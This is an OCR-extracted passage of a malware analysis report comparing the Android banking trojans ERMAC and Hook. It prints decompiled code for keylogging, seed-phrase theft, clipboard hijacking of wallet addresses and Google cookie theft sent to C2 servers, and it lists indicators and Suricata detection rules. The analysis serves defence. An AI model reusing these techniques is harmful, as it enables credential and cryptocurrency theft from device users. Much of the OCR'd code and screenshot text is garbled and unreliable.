12yUr3BGrvmwkmW210utSlFgvyfeAL cHIvIi+ogk IpKCUgo LAET tmDXGTha 1T LLkkocyo
xsCazEx4S1ZD0ql4sVEe 2R/ 41 KZR]ndZbMuk TcpSx ] K709MAPQEr A/ gAdE) Ta1 kdyvBx
hGTVq/+uvKGeZhZxA34YeKiUb/ fezC) dncXUgbd2f ywWPWaQU3u4DT1 y 4UQ0+BLb5684E
vGvoCFUArpVC+0DQvLD3xXgvpBKWty ] ] Or xUDUHNT Sy1g+09qHBohAGome3atLecDIF
LUNrOzAY 4HUrP93ans0f 571 2cWCKSNhk DaQbz+k NmHEDdQec XSPpK 241 keI S41 7NAQWo
1WBgKs1 0h2KuBCel9S030IDQLKkev g+ aSAKCCKHx CLubcy XWo QTR 7 LEBWSUSZOWe axh

AT ASw 1 Whii D= s 1AM DA AUARTMER 1 sSCun ] aTaRnCEaETHE~E1 1T AT=F LD 1M £ T 9+ wall

Decrypted text:
{"alllnjections":";ae.ahb.digital;ae.al
masraf.mobileapp;ae.hsbc.hsbcuae
;air.app.scb.breeze.android.main.my
.prod;air.com.inversis.AndbankSma
rtphone;alior.bankingapp.android;a
pp-alansari;app.wizink.es;app.wizin
k.pt;ar.bapro;ar.com.bcopatagonia.
android;ar.com.redlink.custom;ar.c
om.santander.rio.mbanking;ar.macr
o;at.erstebank.george;at.ing.diba.cli
ent.onlinebanking;at.rsg.pfp;at.spar
dat.bcrmobile;at.volksbank.volksba
nkmobile; ...; ...;
" "activelnjection":"~no~"}

Part of the C2 server response that contains the target apps for overlay injections.

Keylogging

Keylogging functionality can be found in the onAccessibilityEvent() method of both ERMAC
and Hook. For every accessibility event type that is triggered on the infected device, a
method is called that contains keylogger functionality. This method then checks what the

accessibility event type was to label the log and extracts the text from it. Comparing the code

implementation of keylogging in ERMAC to Hook, there are some slight differences in the
accessibility event types that it checks for. But the main functionality of extracting text and
sending it to the C2 with a certain label is the same.
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ERMAC Hook 2

switchiv_accEventType) { switch{accessibilityEventd.getEventTypel(]) {
case 1: { case 1:
gote label 15; case 8;
} case 16: {
case 4: { stringBuffers.append|accessibilityEventa.getText().toString());
goto la 19; break;
}
case B: { case Ox20:
goto labe 5 case OxBOO: {
if{accessibilityEvent®.getContentChangeTypes() 1= 2} {
case 16: { break;
goto label 27; }
}
default: { stringBuffers.append{accessibilityEventd,getText().toStringl));
try { reak;
if(this.h accEventText.length{) >= 3) { b

jSOMObject®.put(“time”, s timeStr); 1
jSOMObject®, put{“action", "[KeyLogl"); if(s2 textStr != null) {
J50NObject®. put(“length”, this.h accEventText.length()); int v1 = accessibilityEventd.getEventType();

J50M0bjectd.put("text”, this.h accEventText); switeh{vl) {

¥ case 1: {
" i 5.w{"Logger", "[VIEW_CLICKED] " + 52 textStr);
goto labe g%ab = g.1;
. ) jsONObject® = new JSOMObject({);
catch( sable throwablel) { jSOMDbject®. put(“[VIEW_CLICKED]", s2_textStr);
} break;
}
try { case 8: {
ra.c. ntthrouablel] .v{“Logger”, “[VIEW_FOCUSED] “ + 52 textStr);
) guto e g%al = g.i;
i ) JSONDbject® = new JSOMObject();
}:s:.?:;:z:s:s::;-.::rsa;f T {sambiec i rocsmi, 8 sorst)
51 textstr = "WFNsS3BvY2wrazgvblIzbTUxVmNIdze90] pRKLFYRLBFVWNUNUSYM1ZteGxLNKIBPTO="; text } braak;
. '°t° e case 16: {
1.v{"Logger”, "[TEXT_CHANGED] " + :
]Snm)h]e:ta put{“time”, s uneStr] g;aaui g _1|-” . 2_textstr)
jSONObjectd. put(” al:t on " jsmunj:c'ula = new N t
51_textstr = _r dUc c K1YXUTO%0jpnSTZHRkhxa0I5a2dZZUELULT teXFEPTR="; jSONObjects. put(~ [TEXT CHANGED]®, s2 textStr);
) goto Labe break;
jSONObject®.put(“time”, s timeStr); case Gx20:

jSOMObjectd. put(* al:t on . "[Focused]”}; case ox@ea: {

s1_textStr = "T2VpNDAwOGIEK2LCY]dPbLVKUHNNGZO90] pSHFAVHFEVZ1gvbnZ6djZ6dz1 dkinPTe: 1ﬂaccesslb1.1.1ty£vent0 getContentChangeTypes () == 2) {
) goto labe .vi{"Logger [CHAMGE_TYPE_TEXT + 52 textstr);
F— . X g9$a8 = g.1;
]Snm)h]ecta.putl time”, s_timeStr); JSONDbject® = new 150MObject();

jSONObjectd.put(“action”, “[Write Text]"); JSONObject®.put(” [CHANGE_TYPE_TEXT]", s2_textStr);

s1_textStr = "Q0dvYk5kYSsZZEtLTIFOTELTROQ5dz090]04TO43MyB4Z5tWYVVHCV qaEoddkLBPTE="; text” }
bel 3 ) . ) else {
jsqmbjecta.pullde.n.c Decrypt(sl textStr), this.h accEventText); vi"Logger”, s2 textstr);
SE e . g$al = g.i;
ifijsONObject®.toStringl().lengthi) = 2} { jSONObject® = mew JSONOBject()

b.a.bithis, cB.a.T datakeyloggerStr, jSONObject® + "::endlog::"); jSoNObjecte.put(* [OTHER]", s2 textstr);

return;
1
break;
default: {
j.v{"Logger”, s2_textstr);
0$a8 = g.1;
jSONObject® = new JSONObject{);

jSONObject®.put(“[OTHER_]", s2 textStr);

53 = jSONDbjectd.toStringl);
c$a8 = a.q_possEncryptAndSendToC2("", s3, "keylogger");

Decompiled code snippet of keylogging in ERMAC and in Hook.

The ERMAC keylogger contains an extra check for accessibility event
“TYPE_VIEW_SELECTED?” (triggered when a user selects a view, such as tapping on a
button). Accessibility services can extract information about a selected view, such as the text,
and that is exactly what is happening here.

Hook specifically checks for two other accessibility events: the
“TYPE_WINDOW_STATE_CHANGED” event (triggered when the state of an active window
changes, for example when a new window is opened) or the
“TYPE_WINDOW_CONTENT_CHANGED?” event (triggered when the content within a
window changes, like when the text within a window is updated).

It checks for these events in combination with the content change type

‘CONTENT_CHANGE_TYPE_TEXT?” (indicating that the text of an Ul element has
changed). This tells us that the accessibility service is interested in changes of the textual
content within a window, which is not surprising for a keylogger.

Stealing of crypto wallet seed phrases
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Automatic stealing of recovery seeds from crypto wallets is one of the main features in
ERMAC and Hook. This feature is actively developed, with support added for extra crypto
wallets in the latest version of Hook.

For this feature, the accessibility service first checks if a crypto wallet app has been opened.
Then, it will find Ul elements by their ID (such as
“‘com.wallet.crypto.trustapp:id/wallets_preference” and
“‘com.wallet.crypto.trustapp:id/item_wallet_info_action”) and automatically clicks on these
elements until it navigated to the view that contains the recovery seed phrase. For the crypto
wallet app, it will look like the user is browsing to this phrase by themselves.

ERMAC Hook 2
ifim iffaccessibilin

}
gote

Decompiled code that shows ERMAC and Hook searching for and clicking on Ul elements in
the Trust Wallet app.

Once the window with the recovery seed phrase is reached, it will extract the words from the
recovery seed phrase and send them to the C2 server.

ERMAC

e

AFi]s00b]Rctd. L

Decompiled code that shows the actions in ERMAC and Hook after obtaining the seed
phrase.

The main implementation is the same in ERMAC and Hook for this feature, with Hook
containing some extra logging messages and support for stealing seed phrases from
additional cryptocurrency wallets.

Replacing copied crypto wallet addresses

Besides being able to automatically steal recovery seeds from opened crypto wallet apps,
ERMAC and Hook can also detect whether a wallet address has been copied and replaces
the clipboard with their own wallet address. It does this by monitoring for the
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“TYPE_VIEW_TEXT_CHANGED” event, and checking whether the text matches a regular
expression for Bitcoin and Ethereum wallet addresses. If it matches, it will replace the
clipboard text with the wallet address of the threat actor.

ERMAC Hook 2

iflaccessibilityEventd.getEventType() == 16) { if(nc(tssln.ﬂlt\rEvtntB getEventTypel) == 16) {
try { ry {
lflthxs m_ethereundddressfegex.aisl) { R fA-F] q3.c €8 = hedobefidapudi.z_ethercumtddresshegEx; Regex %) T[8-9a-fA-F]{48
1 51 = this.m_ethereumdddressAegex, nts +Gx3CFT04RD30035AFHIB58371 FOCD4I6985024 0 B ch.getclass();
<lipboardManagers, setPrimaryClip(cliy 1.newPlainText (51, s11); if{ce.d. natrhert-sl find(1) {
bundled = new flel); 51 = cB.als, “8x3cf7d 1963543058371 FOCA04269050240a" ) ;
bundled, putCharSequence [ “ACTION ARGUMENT SET TEXT CHARSEQUENCE®, s1); mphumdhnnagem -n-:p.m.,ryrhm newPlainText(sl, s11);
accessibilityEventd.getSource(] . perfornAction|0x208604, bundled); bundled = new H
return; b||n|I'I=B pull’_harSequr.- nee| “AC ARGUMENT _SET XT_CHARSEQUENCE", H
13 elnf aLcesslh)ll(yhaﬂeInras aLces;lh)ll(yEvenrs getSource();
3 Lr(accesslnlllryhauelnrae = null) {
cateh(Throwat throwabled) { accessibilityNodeInfol. performAction(0x200000, bundled);
rid.c.m{throwabled); b
return;
¥ 1
if(this.k_bitcoinAddressRegEx.als)) { Regex: 1/[13]
t 52 = this.k_bitcoinAddressRegEx. Ns ntla BIxtIemrsnm arsmethﬂn\t: xn6 wlf); eb = e.a;
«lipboardManagera. setPrimaryClipi 1.newPlainText(s2, s2});
bundlel = new undle(); catch(T throwabled) {
bundlel.putCharSequence (“ACTION_ARGUMENT SET_TEXT_CHARSEQUENCE™, s2); ef = ad.z{throwabled);
accessibilityEventd.getSource().perfornaction(0x2008008, bundlel); }
return;
¥ le throwablel = c.aled@);
1 if(throwablel 1= mll] {
catchi . throwablel] { fl.c.i logErrorToC2ithrowablel, new Builder{“setClipBoardl “), g.i, "=, “error=);
ré.c.mlthrowablel); 3
¥ .
try {
try { gi.¢ €1 = hedobetidapudi.x bitcoindddressRegEs; egex: (bel|[13])[a-zA-HI-NP-28-9]{25,39
1l|(th 4 bi'cnmﬂ.ﬂa’;esmegfx als)) { Regex: cl.getClass();
53 = this [ bitcolndddressRegEx. Ms LLlu 3-1xdl!y|[y3ny|k afﬂjq:\hﬂudl’xuyé?iflr | H if{cl.d.matcheris).find(]) {
cllpmarﬂﬂanaqero setFrmaryClln[ 1.newPlainText(s3, s3)); ing 52 = cl.a(s, "belgl34xdSyntydmyfkwaf opafxkxgf7Ivie”);
bundle2 = new & chpnoardnanagern setPrlnar','chpl ipDat 1ewFla1nTextls} sl].u
bundle2. putCharSequence | LT OM_ARGUMENT SET_TEXT_CHARSEQUENCE » 53); bundlel = new
accessibilityEventd.getSource(]. perfr:rm\ctmnlnﬂnoﬂw bundlez); Dnnclel putcnarsequu(e{ IJ ARGUMENT _SET_TEXT_CHARSEQUENCE", s2);
return; Inf ac(essxnllltyuouelnfol accesslnllltyEvento getSourcel);
} xftaccessxnllltyllouelnfal te mull) {
} accessibilityNodeInfol.performAction(oxzo0esd, bundlel);
catch{Throw throwable2) {
ré.c.mlthrowablez);
raturn; return;
}
} el = e.a;
catch( le throwable2) {
el = a8.z(throwableZ);
1

& throwabled = c aiel);
if(throwabled != null)

fl.e.d lagErrorToEZ[tnrwable] mew Stringk ler{*setClipBoard2 ), g.1, "=, “error”);
¥
try {
g3.c €2 = hedobefidapudi.y bitcoinAddressRegEx; Regex: [13][a-km-zA-HI-NP-Z1-9]{25,34}

c2.getClass|);
if{cz.d.matcher{s).find(1) {
53 = ¢2.als, "bclgl3dndsyntydnyfiwafsjqethapafak 1:

clmnoardnanaqcra sctPrmarychpl ipDat 1wv1a1nrut|53 s:m
bundle2 = new H
bunu'le? putCharSequence( A REUMENT SET_TEXT_CHARSEQUENCE", s3);

f arcesuhlllt\r!odelnfo? arcesuhlht\rtvenla qetsourcelj
\ftarcesuhlhl\rlﬂdrlnfo? 1= null) {
accessibilityNodeInfo?, performAction(0x200000, bundle?);

}

return;

Decompiled code that shows how ERMAC and Hook replace copied crypto wallet addresses.
The wallet addresses that the actors use in both ERMAC and Hook are
bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlif for Bitcoin and
0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca for Ethereum. It's worth mentioning
that these wallet addresses are the same in all samples that we analysed. It appears that this
feature has not been very successful for the actors, as they have received only two
transactions at the time of writing.

Transactions

0.06923208 ETH » $129.01
Fee 760.0K Gwei » £1.42

0.01560749 ETH «» $29.08
Fee 624.5K Gwei « $1.14

o Do

Transactions received by the Ethereum wallet address of the actors.

Since the feature has been so unsuccessful, we assume that both received transactions
were initiated by the actors themselves. The latest transaction was received from a verified
Binance exchange wallet, and it’s unlikely that this comes from an infected device. The other
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transaction comes from a wallet that could be owned by the Hook actors.

Stealing of session cookies

The “cookie” command is exclusive to Hook and was only added in the latest version of this
malware. This feature allows the malware operator to steal session cookies in order to take
over the victim’s login session. To do so, a new WebViewClient is set up. When the victim
has logged onto their account, the onPageFinished() method of the WebView will be called
and it sends the stolen cookies to the C2 server.

@lverride
public final veid onPageFinished(WebView webView®, String s link) {
WebView webViewl;
if(s link !'= null) {
narujezofa narujezofa® = intent®;
if(s_link.startsWwith("https://myaccount.google.com")} {
webViewl = narujezofa®.g WebView;
if (webViewl !'= null) {
webViewl.loadUrl("https://mail.google.com");
}

}
else if(s link.startsWith("https://mail.google.com”)) {
webViewl = narujezofa®.g WebView;
if (webViewl !'= null) {
webViewl.loadUrl("https://pay.google.com");
}

}
else if(s link.startsWith("https://pay.google.com"}) {

webViewl = narujezofa®.g WebView;

if (webViewl != null) { Decompiled
webViewl.loadUrl{"https://ads.google.com");

}

}
else if(s link.startswith("https://ads.google.com")) {
webViewl = narujezofa®.g WebView;

if (webViewl != null) {
webViewl. loadUrl{"https://passwords.google.com");
}

}

else if(s link.startswith("https://passwords.google.com")) {
String sl = i.b.e(narujezofa®.d arraylList);
i3.i.c checkIfObjectIsNull(sl, "cookielson");
g.1.getClass();
u2.g.a.g possencryptAndSendToC2("", sl, "cookies");
Intent intent® = new Intent();
intent®.putExtra("act”, this.b);
narujezofa@.setResult(-1, intente);
narujezofa®.finish();

}
code that shows Google account session cookies will be sent to the C2 server.
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All cookie stealing code is related to Google accounts. This is in line with DukeEugene’s
announcement of new features that were posted about on April 1st, 2023. See #12 in the
screenshot below.

DukeEugene
% Tuke Eupene %
asees

| .J
Seller
om

Jained

Activity

T HOBOTD?

1. Onmismsaugs mapuwpyTa BotsList, cwcok GoTos OTRpeBaETCH GeICTReE.

2. ONTHMIER MBPWIPYTE 15 Bsibop Bcex G0ToR

3. AoGasneqa sogana Send Sms Many - 1/ OTNPABKH CMC HA HECKHMBKD HOMEPOS

3. Nodwsowen Gar ¢ nanssauwed B cncke wokerros Gota.

4. Nodweiwes Bar, KOMIA NPW CMEHE NO3MAK GOTE B CNWCKE B OTKPSITON MOANKE NON08 BOTE HIMEHANWCE BAHHEME.
5. B Execute Custom Command - nonpasink oTnpasky komakge Gea wasatva wa koney “Add Payload Data®

6. B VNC mofeunisHOi Bepcui oGasini BCe KHOMKN, KK W HA MK Bepcun (paxee He Beuno wonox addviewlremoveview)
7. McnpaaneH Gar ¢ BEB00M M08 kefinonepa

. YGpanm CON Antd f/19 HEKDTOPGLX MKOHOK, TAL 0 TOPOM OHMW HE BOBTEA NPOTRYHANMCE.

9. Nepesenw Gexang Ha laravel c lumen

10. Cuena MapuwpyTos ank ka Gexanae naens

11. ABTOPW3ALMA HE SENCILM C OT3HIBOM TOKEHOS

12. HOBAR KOMAHAA «NOMYWHTE KyKN C IMAANe

13. HoBaR KOMAaMGA “NOMY4HTE H0T0 © HPoHTANLHORA Kameper’”

Rough translation:

1. Optimization of the BotsList route, the list of bots opens faster.

2. Route optimization for fetching all bots

3. Added modal Send Sms Many - for sending sms to several numbers.,
3. Fixed a bug with pagination in the list of bot injections.

4. A bug has been fixed when changing the bot's position in the list in the
open bot log modal changed the data.

5. In Execute Custom Command - corrected sending the command without
clicking on the "Add Payload Data" button

6. All buttons have been added to the VNC mobile version, as in the PC
version (previously there were no addview/removeview buttons)

7. Fixed a bug with outputting keylogger logs.

8. Removed CDN Antd for some icons. under the torus they were not
always loaded.

9. Moved the backend to laravel with lumen
10. Changing api routes on the backend of the panel
11. Authorization on sanctum with token withdrawal
12. New command "get cookies from gmail”

13. New command "get photo from front camera”

DukeEugene announced new features in Hook, showing the main objective for the “cookie”

command.

C2 communication protocol

HTTP in ERMAC

ERMAC is known to use the HTTP protocol for communicating with the C2 server, where
data is encrypted using AES-256-CBC and then Base64 encoded. The bot sends HTTP
POST requests to a randomly generated URL that ends with “.php/” (note that the IP of the
C2 server remains the same).

21/32


https://i0.wp.com/blog.fox-it.com/wp-content/uploads/2023/06/image-26.png?ssl=1

public fimal Object e(String s, String s1, d de) {
StringBuilder stringBuilder® = new StringBuilder();
if(s51 == null) {

sl = cB.c.a(b.a.p, "M3BHMmLUU3SABTOVvTmROdXpLNU5S3QTE90]pOVDFYTHIXL1IwZi9XaTUyb1dMV2NBPTE=", "");
if(s1 == null) { // Personal comment: decodes to "urlAdminPanel"

s1=";
}
}

stringBuilder@.appendisl);
stringBuilder®.append("/");
int v = new Random().nextInt(20) + 1;
Random random@ = new Random();
StringBuilder stringBuilderl = new StringBuilder();
if(v = 8) {

int vl = 8;

do {

label 12:

++vl;

stringBuilderl.append(((char)"qwertyuiopasdfghjklzxcvbnm1234567896".charAt(random@.nextInt(36))));

if(vl < v) {
goto label 1Z;

}
break;

while(true);

}

String s2 = stringBuilderl.toString();
r@.c.h_checkIfObjectIsNull(s2, "buf.toString()");
stringBuildero.append(s2);
stringBuilder®.append(™.php/");

new String("Connect");

return go.a.a.b(stringBuilder®.toString(), s, do);

}
Decompiled code that shows how request URLs are built in ERMAC.
Request

Raw Hex a n =

1 POST /gyckoaO2cv.php/ HTTP/1.1

2 User-Agent: Mozilla/S.0 (Windows NT 10.0; WOWS4) AppleWebK1it/537.36 (KHTML,
like Gecko) Chrome/S3.0.2785.116 Safari/537.36

3 Content-Length: 714

4 Content-Type: application/x-www-form-urlencoded

S Host: 193.106.191.148:3434
Connection: close

' Accept-Encoding: gzip, deflate

- mrthe:hazz
10 X17co]6GHBog1ROgT AeX0SmSBgahb LSE70YBw9Sqgel 1Jobnd/ /QFmPYBZ/ 3svbalcOLt8]3b1j00

11 GWgHo8bDinY+3Flo]) RwNARRS3qtnENBUeSveCd17cwk818vS1 )21 Q1 Lz f SxKDANVY wixLBLUSbN
12 x3vnC4AUraS1dnwDIKyASf raHzyaf riahUlqabzZgkSrqofdTelyfhvy+T1iezGoW] 1 vwM-RuRdaVR
13 1pb/2bgvJ)t9qsh+NSLUVKB4rUbpAzI 2vBk xW7TR+a] Y gobFSYD) TP1 ANO/6GOhBe JTknkvf dnU7
14 7gqf EBGypf 0X6738G/HIzDCEXhgkWm) GMgVEUgxUG3ongD2x ST+E/ vRknB0g0Sg) 4MGESVPQpGUB

hj 0BbKVSHb23HdgOFGPgaxFGpZS8s /QJWor f LUZE+BAC 1E6) SpHA00RDAWB0gUBWE1 gk NOu+nFnu
16 sBzCLH+oCbZoCKRtQ1AwCB381 Q30gCa3HLayAGt4gsqZY+emdOYUKk6ZhU/Y Ly ] DLI INNeamyPPGMS
17 pxflTzUSGgFcHLwn1gCmUY ZK1 RVOoE1 XIulSkeHHf PO4Sy1 f XJecmhPbFI gsDI j yJ1 /P+)acBcOK
18 wH10CFXS+cCL7k+gnyYB

Decrypted text:

{"command":"updateBotParams","id":"{Jjjili]
","country":"United

States","countryCode":"us","tag":"Tag1","i

sDualSim":"false","operator":"","phone_nu

mber":"","operator1":"","phone_number1":"

,"android":"9","model":"Samsung SM-
G941F","batteryLevel":"-2147483648","imei

*:"null”,"accessibility":"true","protect":"","a

dmin":"false","screen":"true","isKeyguardL

ocked":"false","is_dozemode":"false","sms

"true","set_contact_list":"true","set_hide_

sms_list":"true","set_windows_fake":"true"
,'set_accounts":"true","ticks":"138"}

Example HTTP POST request that was made during dynamic analysis of ERMAC.

WebSockets in Hook

The first editions of Hook introduced WebSocket communication using Socket.lO, and data is

encrypted using the same mechanism as in ERMAC. The Socket.lO library is built on top of

the WebSocket protocol and offers low-latency, bidirectional and event-based communication

between a client and a server. Socket.lO provides additional guarantees such as fallback to

the HTTP protocol and automatic reconnection [3].
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Dashboard Target Proxy Intruder Repeater Collaborator
Extensions Learn
Intercept HTTP history WebSockets history {6} Proxy settings

Filter: Showing all items

# URL Direction Edited Length

y NUP:IYL.£19.05.£4£3.3434/SOCKEL. 10/ - 10 semver o

10 http://91.215.85.223:3434/socket.io/ = To client 6

11 http://91.215.85.223:3434/socket.io/ = To server 6

12 http://91.215.85.223:3434/socket.iof - To client 6

13 http://91.215.85.223:3434/socket.iof - To server 1

14 http://91.215.85.223:3434/socket.io/ = To client 2

15 http://91.215 85.223:3434/socket.io/ - To server 60

16 http://91.215.85.223:3434/socket.iof = To client 15

17 http://91.215.85.223:3434/socket.iof - To server 1

Decrypted text:

Message

e e S
L a2(* Login®, "wz N, - - " ] R

Screenshot of WebSocket communication using Socket.lO in Hook.

The screenshot above shows that the login command was issued to the server, with the user
ID of the infected device being sent as encrypted data. The “42” at the beginning of the
message is standard in Socket.lO, where the “4” stands for the Engine.lO “message” packet
type and the “2” for Socket.lO’s “message” packet type [3].

Mix and match — Protocols in latest versions of Hook

The latest Hook version that we’ve analysed contains the ERMAC HTTP protocol
implementation, as well as the WebSocket implementation which already existed in previous
editions of Hook. The Hook code snippet below shows that it uses the exact same code
implementation as observed in ERMAC to build the URLs for HTTP requests.

public static Object c(a a®, String s, d d@) {
af.getClass();
StringBuilder stringBuilder® = new StringBuilder();
boolean z = a@.h_getSharedPrefValue(a@.R, "urlAdminPanel™} != null;
stringBuilder®.append("");
stringBuilder®.append("/php/");
int v = new Random().nextInt(20) + 1;
Random random® = new Random();
StringBuilder stringBuilderl = new StringBuilder();
for{int vl = 8; vl < v; ++vl) {
stringBuilderl.append(((char)"quertyuiopasdfghjklzxcvbnml234567890" . charAt(random@.nextInt(36))));
}

String sl = stringBuilderl.toString();

i.c_checkIfObjectIsNull(sl, "buf.toString()");

stringBuilder®.append(sl};

stringBuilder®.append(".php/");

return a@.d(stringBuildere.tostring(), s, do);
Iy

Decompiled code that shows the latest version of Hook implemented the same logic for
building URLs as ERMAC.
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Both Hook and ERMAC use the “checkAP” command to check for commands sent by the C2
server. In the screenshot below, you can see that the malware operator sent the “kilime”
command to the infected device to uninstall Hook. This shows that the ERMAC HTTP
protocol is actively used in the latest versions of Hook, together with the already existing
WebSocket implementation.

Response
Bvws= Raw  Hex  Render

1 HTTR/1.1 200 OK B . -
. e Cuie - S "command":"checkAP")

Decrypted request:

x . .
ow-Methads: POST, ORTIONS, GET, RUT, Decrypted response:

o .."xln:;'..-ill—li‘?l‘:.‘l’ht1;‘:;;:?1;’:‘]5.35.9?3! {osettingso:{nhidesmso: "U", «arrayurln: n[]nI "offSour‘ld":
"0", "readPush": "0", "clearPush": "0", "keylogger™: "0",
"lockDevice":

/508K SCOMNOVE

1 3Te+0cmuveB2f VrMsi fmtEKqezHEm

I""”"-“"‘“‘“ - "0"},"activelnjection":"","commands"”:{"Commands™:["{\"i

1 T10ZBKT Kwh Twmt LTRAO3y N
Joll&Czavz

d\":1238, \"commands\":{\"command\": \"killme\", \"payload
cazg VOV (Mid\:1251, V" commands):{|"command\™:
2 \"killme\", \"payload\": \"{}\"}}"1}}

BORRT fwl 7 /Al e GOt lui 4
DHaGHk 1T dd axwl Bac KUchMYABADU / S93gx BT zEmaT PGOSHNOhORE
ubZz fk GOOANFEvef oS Aghy / 2T rbzBlvLRAqbSSa /G ZTORESET22g02r L

gliBeg=

The infected device is checking for commands sent by the C2 in Hook.

C2 servers

During our investigation into the technical differences between Hook and ERMAC, we have
also collected C2 servers related to both families. From these servers, Russia is clearly the
preferred country for hosting Hook and ERMAC C2s. We have identified a total of 23 Hook
C2 servers that are hosted in Russia.

Other countries that we have found ERMAC and Hook are hosted in are:

¢ The Netherlands
e United Kingdom
¢ United States

o Germany

e France

e Korea

e Japan
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e ']‘
.

1 ]
Popular countries for hosting Hook and ERMAC C2 servers.

The end?

On the 19th of April 2023, DukeEugene announced that they are closing the Hook project
due to leaving for “special military operation”. The actor mentions that the coder of the Hook
project, who goes by the nickname “RedDragon”, will continue to support their clients until
their lease runs out.

DukeEugene Rough translation:
% Dubs Sugene ¥ e Greetings to all!
*0000 MpBeTCTEyI0 Beex ) Since 'm leaving for special military operation, I'l be
Tax xax 8 yxoxy Ha CBO, Oygy nonroga He SOCTYTIEH KaK MAHNMYM unavailable for at least half a year!
MpoexT 3axpeisaem! We close the project! )
Komep GyeT NOAREMMBATS HALIVX KIMEHTOS, NOKA Y HIX HE SAKOHUNTCS ADEHAA ;I'uhnescuouduer will support our clients until their lease

Er0 KOHTaKTLI

His contacts:

.

- ]

g -
Y

Tam we Hix @RedDragon Nickl?ame @RedDragon
on o I o
Joined _ _
Bcem pgobpal
All the best!
Activity

Yes, due to the fact that | am in “limited freedom
place” | prison(?), | go online whenever possible.
Soon I'm leaving for special military operation, for
half a year | may be lost from communication, | will
certainly try to get in touch between "work" there.
Therefore, they closed the lease, perhaps for a
while. RedDragon will support clients currently on
loan.

T ~
Cany
Moarol

Al
M 13, 2019
4

DukeEugene mentions that they are closing the Hook project. Note that the first post was
created on 19 April 2023 initially and edited a day later.
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Two days prior to this announcement, the coder of Hook created a post stating that the
source code of Hook is for sale at a price of $70.000. Nearly a month later, on May 11th, the
coder asked if the thread could be closed as the source code was sold.

[SELL SOURCE] Android Bot - Hook

Apr 17, 2023

Rough translation:

| sell Android Malware Hook source code for 70k$
MNpogaio wexagHes xofa A-gpow] mansapu Hook 3a 70«5 - Upon purchase, you will receive free product support for a month
= Mpw noscymsce Bs1 NomysTe GECnNaTHYI0 NOQESEOKKY NDOMYKTE HE NDOTRNEHIN MECRUS.

RedDragon - Contacts for full-fledged work {(morph APK, best source of traffic,

L3} cache loaders, proven hosters
! . * KOMTAKTBI, [L19 MONHOLEHHON PABoTe (Mopd ATTK, Myuuwse NCTOu SN TDBDG, NOANEDH, NDOBEDEHHLE XOCTEPOR) d )

e
Mary 16, 2021
253
120

- After the sale, | will stay in touch with you in case you need new

« Mocne npogass & Gygy OCTABSTLCR C BAMA HE CER3W HA CNY-ER SCM B3M NOHEN0GWTCR HoSsE DyHsapoHan. - _
functionality.

* Bonea 800 wmexTOB. o .
- More than 800 injections.

Hook’s coder announcing that the source code is for sale.

Observations

In the “Replacing copied crypto wallet addresses” section of this blog, we mentioned that the
first received transaction comes from an Ethereum wallet address that could possibly be
owned by the Hook actors. We noticed that this wallet received a transaction of roughly
$25.000 the day after Hook was announced sold. This could be a coincidence, but the fact
that this wallet was also the first to send (a small amount of) money to the Ethereum address
that is hardcoded in Hook and ERMAC makes us suspect this.

From 13.67388747 ETH »
To 7 Fee O Gwei »
Ethereum transaction that could be related to Hook.

We can’t verify whether the messages from DukeEugene and RedDragon are true. But if
they are, we expect to see interesting new forks of Hook in the future.

In this blog we’'ve debunked DukeEugene’s statement of Hook being fully developed from
scratch. Additionally, in DukeEugene’s advertisement of HookBot we see a screenshot of the
Hook panel that seemed to show similarities with ERMAC’s panel.
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General Stats

1725 77 6 1183

Injects stats timeline Logs stats timeline

Conclusion

While the actors of Hook had announced that the malware was written from scratch, it is
clear that the ERMAC source code was used as a base. All commands that are present in
ERMAC also exist in Hook, and the code implementation of these commands is nearly
identical in both malware families. Both Hook and ERMAC contain typical features to steal
credentials which are common in Android malware, such as overlay attacks/injections and
keylogging. Perhaps a more interesting feature that exists in both malware families is the
automated stealing of recovery seeds from cryptocurrency wallets.

While Hook was not written completely from scratch, the authors have added interesting new
features compared to ERMAC. With the added capability of being able to stream the victim’s
screen and interacting with the Ul, operators of Hook can gain complete control over infected
devices and perform actions on the user’s behalf. Other interesting new features include the

ability to take a photo of the victim using their front facing camera, stealing of cookies related
to Google login sessions, and the added support for stealing recovery seeds from additional

cryptocurrency wallets.

Besides these new features, significant changes were made in the protocol for
communicating with the C2 server. The first versions of Hook introduced WebSocket
communication using the Socket.lO library. The latest version of Hook added the HTTP
protocol implementation that was already present in ERMAC and can use this next to
WebSocket communication.

Hook had a relatively short run. It was first announced on the 12th of January 2023, and the
closing of the project was announced on April 19th, 2023, with the actor claiming that he is
leaving for “special military operation”. The coder of Hook has allegedly put the source code
up for sale at a price of $70,000 and stated that it was sold on May 11th, 2023. If these
announcements are true, it could mean that we will see interesting new forks of Hook in the
future.
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Indicators of Compromise

Analysed samples

ramiy rFackage name Flle nasn (SHA-4£00)

C2 servers
ramily  IF adaress
~Hook 542199[]22
Hook 45.81.39[.]1149
Hook 45:93.201{.192
~Hook 17610042 ]11
Hook 91.215.85[.]223

~Hook 91.215:85[137
~Hook 91.215.85[123

“ERMAC —542.199[.191

“ERMAC —31.41.244[ 1187
“ERMAC 35.91.53[.]224
“ERMAC —20.249.63[.172
—ERMAC —91.213.50[.162
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Network detection

The following Suricata rules were tested successfully against Hook network traffic:

# Detection for Hook/ERMAC mobile malware

alert http SHOME_NET any -> $SEXTERNAL_NET any (msg:"FOX-SRT — Mobile
Malware — Possible Hook/ERMAC HTTP POST"; flow:established,to_server;
http.method; content:"POST"; http.uri; content:"/php/"; depth:5; content:".php/";
isdataat:!1,relative; fast_pattern; pcre:"/"VphpV[a-z0-9]{1,21}\.phpV$/U";
classtype:trojan-activity; priority:1; threshold:type limit,track by_src,count 1,seconds
3600; metadata:ids suricata; metadata:created at 2023-06-02; metadata:updated at
2023-06-07; sid:21004440; rev:2;)

alert tcp SHOME_NET any -> SEXTERNAL_NET any (msg:"FOX-SRT — Mobile
Malware — Possible Hook Websocket Packet Observed (login)"; content:"|81|"; depth:1;
byte test:1,&,0x80,1; luajit:hook.lua; classtype:trojan-activity; priority:1; threshold:type
limit,track by_src,count 1,seconds 3600; metadata:ids suricata; metadata:created_at
2023-06-02; metadata:updated_at 2023-06-07; sid:21004441; rev:2;)

view raw hook.rules hosted with ® by GitHub
The second Suricata rule uses an additional Lua script, which can be found here

List of Commands

ramiy commana pescripton

;
_Egm, startussd Executes a given USSD code on the victim'sdevice
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https://github.com/
https://gist.github.com/fox-srt/515fc17e5816401be8b7454df7c02c89

_Egaw, trust Launchesthe Trust Walletapp

